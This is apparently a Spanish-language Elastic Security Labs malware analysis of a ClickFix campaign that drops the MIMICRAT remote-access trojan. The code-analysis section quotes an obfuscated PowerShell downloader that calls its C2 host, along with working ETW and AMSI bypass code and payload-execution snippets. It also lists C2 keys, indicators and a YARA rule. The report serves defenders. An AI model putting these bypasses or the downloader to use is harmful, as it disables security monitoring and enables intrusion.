Introducción
Durante una investigación reciente, Elastic Security Labs identificó una campaña activa de ClickFix que comprometía múltiples sitios web legítimos para lanzar una cadena de malware en varias etapas. A diferencia de despliegues más simples de ClickFix que terminan en robos de información comerciales, esta campaña termina con un troyano de acceso remoto personalizado (RAT) que llamamos MIMICRAT: un implante C nativo con perfiles C2 maleables, suplantación de token, tunelización SOCKS5 y una tabla de despacho de 22 comandos.
La campaña demuestra un alto nivel de sofisticación operativa: sitios comprometidos que abarcan múltiples industrias y geografías sirven como infraestructura de entrega, una cadena PowerShell de varias etapas realiza bypass ETW y AMSI antes de eliminar un cargador de shellcode con scripts Lua, y el implante final se comunica por HTTPS en el puerto 443 usando perfiles HTTP que se asemejan al tráfico legítimo de análisis web.
Conclusiones clave
- Múltiples sitios web legítimos fueron comprometidos para ofrecer una cadena de ataques en cinco etapas.
- El cargador Lua ejecuta shellcode embebido.
- MIMICRAT es un RAT nativo C++ a medida con perfiles C2 maleables, robo de tokens de Windows y proxy SOCKS5.
Descubrimiento
Elastic Security Labs identificó esta campaña por primera vez a principios de febrero de 2026 mediante telemetría de endpoint, marcando una ejecución sospechosa de PowerShell con argumentos de línea de comandos ofuscados.
Dada la novedad de la carga útil final, publicamos los indicadores iniciales a través de las redes sociales el 11 de febrero de 2026 para cerciorar que la comunidad de seguridad en general pudiera comenzar a buscar y defender de esta amenaza mientras nuestro análisis completo estaba en marcha. La campaña sigue activa a fecha de esta publicación.
Los investigadores de Huntress han documentado campañas relacionadas con ClickFix empleando infraestructuras y técnicas similares, lo que indica la amplitud de las operaciones de este actor amenazante a lo largo de múltiples campañas paralelas.
Ejecución de la campaña
La ejecución de la campaña depende completamente de comprometer sitios web legítimos y de confianza en lugar de la infraestructura propiedad de los atacantes. El punto de entrada para las víctimas es bincheck[.]io, un servicio legítimo de validación del Número de Identificación Bancaria (BIN). El actor malicioso comprometió este sitio e inyectó un fragmento malicioso de JavaScript que carga dinámicamente un script externo alojado en https://www.investonline[.]in/js/jq.php, un segundo sitio comprometido, una plataforma legítima india de inversión en fondos mutuos (Abchlor Investments Pvt. Ltd.). El script externo se nombra para imitar la biblioteca jQuery, integrar con la carga de recursos existente de la página.
Es este script cargado remotamente (jq.php) el que entrega el señuelo ClickFix: una página falsa de verificación en Cloudflare que instruye a la víctima a pegar y ejecutar manualmente un comando para "arreglar" un problema. El señuelo copia un comando malicioso de PowerShell directamente en la carpeta de la víctima y le pide abrir un diálogo de Ejecutar (Win+R) o un aviso de PowerShell y pegarlo. Esta técnica evita por completo las protecciones de descarga basadas en navegador, ya que no se descarga ningún archivo.
Este compromiso multidimensional se basa en que un sitio web de cara a la víctima cargue un script malicioso desde un segundo sitio web comprometido, distribuye el riesgo de detección y aumenta la legitimidad percibida del señuelo tanto para los usuarios como para las herramientas de seguridad automatizadas. La campaña soporta 17 idiomas, con el contenido del señuelo localizado dinámicamente según la configuración del idioma del navegador de la víctima para ampliar su alcance efectivo. Las víctimas identificadas abarcan múltiples geografías, incluyendo una universidad con sede en Estados Unidos y varios usuarios de habla china documentados en debates públicos en foros, lo que sugiere una amplia selección oportunista.
A continuación se muestra la lista de lenguajes soportados por ClickFix:
- Inglés
- Chino
- Ruso
- Español
- Francés
- Alemán
- Portugués
- Japonés
- Coreano
- Italiano
- Turco
- Polaco
- Neerlandés
- Vietnamita
- Árabe
- Hindi
- Indonesio
Análisis de código
Una vez que la víctima ejecuta el comando del portapapeles, la campaña se desarrolla en cinco etapas distintas: un descargador de PowerShell ofuscado contacta con el C2 para recuperar un script de segunda etapa que parchea el registro de eventos (ETW) de Windows y el escaneo antivirus (AMSI) antes de lanzar un cargador basado en Lua; el cargador descifra y ejecuta shellcode completamente en memoria; y el shellcode finalmente entrega MIMICRAT, un RAT capaz diseñado para el acceso persistente y el movimiento lateral.
Etapa 1 Comando de una línea de Powershell
El comando entregado por la carpeta es una frase compacta y ofuscada de PowerShell:
powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
El comando emplea segmentación de cadenas y operaciones de índice aritmético sobre una única cadena semilla (aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf) para reconstruir tanto el dominio destino como el mecanismo de invocación en tiempo de ejecución, evitando cualquier representación en texto plano de los nombres de dominio C2 o cmdlets de PowerShell en la carga útil inicial. La ventana se minimiza (-WInDo Min). El dominio extraído es xMRi.neTwOrk, que se resuelve a 45.13.212.250, y descarga un script PowerShell de segunda etapa.
La infraestructura que pivotaba sobre 45.13.212.250 a través de las relaciones de VirusTotal reveló un segundo dominio, WexMrI.CC, que se resuelve a la misma IP. Ambos dominios comparten el mismo patrón de ofuscación de formato mixto en mayúsculas y minúsculas.
Script de Powershell Ofuscado de 2 fase
El script de PowerShell de segunda etapa descargado está significativamente más elaborado. Todas las cadenas se construyen en tiempo de ejecución resolviendo expresiones aritméticas a caracteres ASCII:
$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: "System.Diagnostics.Eventing.EventProvider"
Esta técnica hace que el script sea opaco al análisis estático y a la detección basada en firmas, mantener completamente funcional en tiempo de ejecución. Se incluye una declaración de clase ficticia como señuelo y
El script ejecuta cuatro operaciones secuenciales:
Circunvalación ETW
El script accede al campo interno de m_enabled de la clase System.Diagnostics.Eventing.EventProvider mediante reflexión y actualiza su valor a 0, deshabilitando efectivamente el Event Tracing para Windows y cegando el registro de bloques de scripts en PowerShell.
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Derivación de AMSI
El script entonces emplea la reflexión para acceder a System.Management.Automation.AmsiUtils y establece el campo de amsiInitFailed a $true, lo que provoca que PowerShell se sal te todo el escaneo de contenido AMSI durante el resto de la sesión.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
AMSI - Parcheo de memoria
El script realiza parches de manejo de métodos en tiempo de ejecución mediante Marshal.Copy en un paso adicional de evasión de defensa menos común, sobreescribir avanzados de método en memoria para redirigir la ejecución lejos de rutas de código monitorizadas. Esto dirige la función ScanContent bajo System.Management.Automation.AmsiUtils a un método de generación vacía.
$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"
[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)
Entrega de la carga útil
Con el registro de eventos y el escaneo antivirus desactivados, el script decodifica un archivo ZIP codificado en base64, lo extrae a un directorio con nombre aleatorio bajo %ProgramData%/knz_{random}, y ejecuta el binario contenido zbuild.exe. Los artefactos temporales se limpian tras la ejecución.
$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
Cargador Lua de etapa 3
El binario eliminado es un cargador personalizado de Lua 5.4.7. Integra un intérprete de Lua de forma estática.
El binario descifra un script Lua incrustado usando un stub XOR en tiempo de ejecución y luego lo ejecuta. La rutina de descifrado XOR (fxh::utility::lua_script_xor_decrypt) se itera sobre el búfer cifrado haciendo XOR por cada byte contra una clave.
El script Lua implementa un decodificador Base64 personalizado con un alfabeto no estándar para decodificar un shellcode embebido. El shellcode decodificado se asigna entonces en memoria ejecutable mediante luaalloc, se copia en esa memoria con luacpy, y finalmente se ejecuta mediante luaexe, logrando una ejecución de shellcode totalmente en memoria y sin archivos.
Código shell de la etapa 4
El shellcode coincidía con firmas relacionadas con Meterpreter, lo que sugiere que la etapa de shellcode es un cargador coherente con la familia de códigos Meterpreter para cargar MIMICRAT de forma reflexiva en la memoria.
MIMICRAT 5 Fase
La carga útil final con metadatos de compilación fijados para el 29 de enero de 2026 es un MSVC x64 PEcompilado nativo con Microsoft Visual Studio linker versión 14.44. No coincide exactamente con ningún framework C2 de código abierto conocido, ya que implementa sus propios perfiles HTTP C2 maleables con despacho de comandos basado en caracteres ASCII y una arquitectura personalizada.
Configuración y comunicación de C2
La configuración de MIMICRAT se almacena en la sección .data. Contiene claves criptográficas, parámetros de conexión y dos perfiles completos de comunicación HTTP. Todas las cadenas de cabecera y URI son ASCII codificadas en hexadecimal y se decodifican en tiempo de ejecución.
El C2 funciona por HTTPS en el puerto 443 con un intervalo de llamada de 10 segundos. El nombre de host del servidor C2 (d15mawx0xveem1.cloudfront.net) está cifrado RC4 con la siguiente clave RC4 @z1@@9&Yv6GR6vp#SyeG&ZkY0X74%JXLJEv2Ci8&J80AlVRJk&6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5.
El implante emplea HTTPS para la comunicación con un esquema de cifrado en capas: una clave pública RSA-1024 integrada gestiona el intercambio asimétrico de claves de sesión.
Aunque AES se emplea para cifrado simétrico del tráfico C2, emplea un abcdefghijklmnop IV codificado en fija y una clave calculada en tiempo de ejecución que deriva de un valor hash SHA-256 de un ejemplo de valor alfanumérico generado aleatoriamente 9ZQs0p0gfpOj3Y02.
A continuación se presentan los perfiles empleados por el ejemplo para las solicitudes POST y GET:
Perfil HTTP GET: Check-in y tareas
| Componente | Valor |
|---|---|
| Uri | /intake/organizations/events?channel=app |
| Agente de usuario | Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045 |
| Referente | [https://www.google.com/?q=dj1](https://www.google.com/?q=dj1) |
| Aceptar lenguaje | zh-CN,zh;q=0.9 |
| Cookies | AFUAK, BLA, HFK |
Perfil HTTP POST: Exfiltración de datos
| Componente | Valor |
|---|---|
| Uri | /discover/pcversion/metrics?clientver=ds |
| Referente | [https://gsov.google.com/](https://gsov.google.com/) |
| Cookies | ARCHUID, BRCHD, ZRCHUSR |
Despacho de mando
MIMICRAT implementa un total de 22 comandos distintos para proporcionar capacidades posteriores a la explotación como control de procesos y sistemas de archivos, acceso interactivo a la shell, manipulación de tokens, inyección de shellcode y tunelamiento proxy SOCKS. El intervalo de la baliza y el jitter son configurables por el operador en tiempo de ejecución mediante comandos dedicados. A continuación se presenta una tabla resumida de todos los comandos implementados:
| Cmd ID | Función | Descripción |
|---|---|---|
| 3 | Salida | Termina el proceso de implantación |
| 4 | Establecer intervalo de baliza | Configura la duración del sueño y el jitter |
| 5 | Cambiar directorio | Cambios en el directorio de trabajo actual |
| 10 | Archivo de escritura | Escribe una carga útil suministrada por C2 en disco (sobreescribir) |
| 11 | Archivo de lectura | Lee un archivo desde el disco y exfiltra el contenido a C2 |
| 12 | Proceso de aparición | Lanza un proceso usando un token robado si está disponible, volviendo a la ejecución estándar |
| 28 | Imitación de revert | Reverte la suplantación de token y limpia el estado del token |
| 31 | Robar ficha | Duplica el token de seguridad de un proceso destino mediante PID |
| 32 | Procesos de lista | Enumera los procesos en ejecución con PID, PPID, usuario, dominio y arquitectura |
| 33 | Terminar el proceso | Termina un proceso mediante PID |
| 39 | Obtener directorio actual | Devuelve el directorio de trabajo actual a C2 |
| 53 | Archivos de lista | Lista archivos y directorios con marcas de tiempo y tamaños |
| 54 | Crear directorio | Crea un directorio en el disco |
| 55 | Discos de lista | Enumera los discos lógicos |
| 56 | Eliminar archivo/directorio | Elimina un archivo o elimina un directorio |
| 67 | Agregar al archivo | Agrega datos suministrados por C2 a un archivo existente |
| 73 | Copiar archivo | Copia un archivo desde el origen al destino |
| 74 | Mover/renombrar archivo | Mueve o cambia el nombre de un archivo |
| 78 | Shell interactivo | Abre una carcasa CMD interactiva persistente sobre una tubería |
| 100 | Inyectar shellcode | Inyección reflectante de shellcode |
| 101 | CACETINES | Configura el canal proxy de SOCKS o lo detiene |
| 102 | Proxy SOCKS | Comparte manejador con el comando 101; Lo más probable es que sea un comando provisional |
Infraestructura
La infraestructura de red de la campaña se agrupa en dos grupos principales:
Clúster A — Entrega inicial de la carga útil (45.13.212.251 / 45.13.212.250)
Múltiples dominios apuntan a este rango de IP, incluyendo xMRi.neTwOrk y WexMrI.CC. La denominación de dominios emplea ofuscación de mayúsculas mixtas. Esta infraestructura sirve al script PowerShell de segunda etapa y al payload embebido ZIP.
Clúster B tras la explotación C2 (23.227.202.114)
Asociado con www.ndibstersoft[.]com y observado en las comunicaciones por baliza desde el archivo descartado. Esto representa el canal C2 posterior a la explotación del operador.
Relé CloudFront C2
d15mawx0xveem1.cloudfront[.]net está confirmado como parte de la infraestructura C2 de MIMICRAT. Las relaciones VT para el ejemplo de rgen.zip muestran que contacta este dominio CloudFront usando el mismo patrón de URI /intake/organizations/events?channel=app identificado en el perfil GET de MIMICRAT, confirmando que actúa como un relé C2 que hace fronting para el servidor backend.
Infraestructura de entrega
Dos sitios web legítimos comprometidos forman la cadena de entrega:
bincheck.io— punto de entrada frente a la víctima; comprometido para cargar el script malicioso externoinvestonline.in— aloja la carga útil ClickFix JavaScript (/js/jq.php) disfrazada de jQuery; este script renderiza el señuelo y entrega el portapapeles PowerShell
Malware y MITRE ATT&CK**
Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.
Táctica
La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.
- Acceso inicial
- Ejecución
- Evasión de defensa
- Persistencia
- Escalada de privilegios
- Descubrimiento
- Exfiltración
- Comando y control
Técnicas
Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.
- Phishing: Spearphishing vía servicio (portapapeles ClickFix)
- Ejecución de usuario: enlace malicioso
- Intérprete de comandos y scripting: PowerShell
- Archivos o información ofuscados: Ofuscación de comandos
- Afectar las defensas: Desactivar o modificar herramientas (bypass AMSI)
- Perjudicar defensas: Desactivar el registro de eventos de Windows (parche ETW)
- Carga de código reflectante / Ejecución en memoria
- Tarea/trabajo programado
- Manipulación de tokens de acceso: suplantación/robo de tokens
- Inyección de proceso
- Descubrimiento de procesos
- Descubrimiento de archivos y directorios
- Exfiltración a través del canal C2
- Protocolo de Capa de Aplicación: Protocolos Sitio web (HTTPS)
- Proxy
Mitigaciones
Detección
A lo largo del análisis de este conjunto de intrusiones, se observaron las siguientes reglas de detección y eventos de prevención de comportamiento:
- Ejecución mediante scripts PowerShell ofuscados
- Consulta DNS a un dominio de nivel superior sospechoso
- Ejecución sospechosa del shell de comandos a través de la ejecución de Windows
- Robo de fichas e imitación
- Potential Privilege Escalation via Token Impersonation (Escalada de privilegios potencial a través de suplantación de tokens)
- Ejecución de shellcode desde el módulo de baja reputación
YARA
Elastic Security creó reglas YARA para identificar esta actividad. A continuación se muestran las reglas YARA para identificar al MimicRat:
rule Windows_Trojan_MimicRat {
meta:
author = "Elastic Security"
creation_date = "2026-02-13"
last_modified = "2026-02-13"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "MimicRat"
threat_name = "Windows.Trojan.MimicRat"
reference_sample = "a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b"
scan_type = "File, Memory"
severity = 100
strings:
$b_0 = { 41 8B 56 18 49 8B 4E 10 41 89 46 08 }
$b_1 = { 41 FF C0 48 FF C1 48 83 C2 4C 49 3B CA }
condition:
all of them
}
Observaciones
Todos los observables también están disponibles para su descarga en formato ECS y STIX en un paquete zip combinado.
En esta investigación se discutieron los siguientes observables.
| Observable | Tipo | Nombre | Referencia |
|---|---|---|---|
bcc7a0e53ebc62c77b7b6e3585166bfd7164f65a8115e7c8bda568279ab4f6f1 | SHA-256 | Etapa 1 carga útil PowerShell | |
5e0a30d8d91d5fd46da73f3e6555936233d870ac789ca7dd64c9d3cc74719f51 | SHA-256 | Cargador Lua | |
a508d0bb583dc6e5f97b6094f8f910b5b6f2b9d5528c04e4dee62c343fce6f4b | SHA-256 | Baliza MIMICRAT | |
055336daf2ac9d5bbc329fd52bb539085d00e2302fa75a0c7e9d52f540b28beb | SHA-256 | Ejemplo relacionado de baliza | |
45.13.212.251 | Propiedad intelectual | Infraestructura de entrega de carga útil | |
45.13.212.250 | Propiedad intelectual | Infraestructura de entrega de carga útil | |
23.227.202.114 | Propiedad intelectual | C2 posterior a la explotación | |
xmri.network | Dominio | Etapa 1 C2 / entrega de carga útil | |
wexmri.cc | Dominio | Etapa 1 Alternativa C2 | |
www.ndibstersoft[.]com | Dominio | C2 posterior a la explotación | |
d15mawx0xveem1.cloudfront[.]net | Dominio | C2 posterior a la explotación | |
www.investonline.in/js/jq.php | URL | Host de carga útil JS malicioso (comprometido) | |
backupdailyawss.s3.us-east-1.amazonaws[.]com/rgen.zip | URL | Entrega de carga útil |
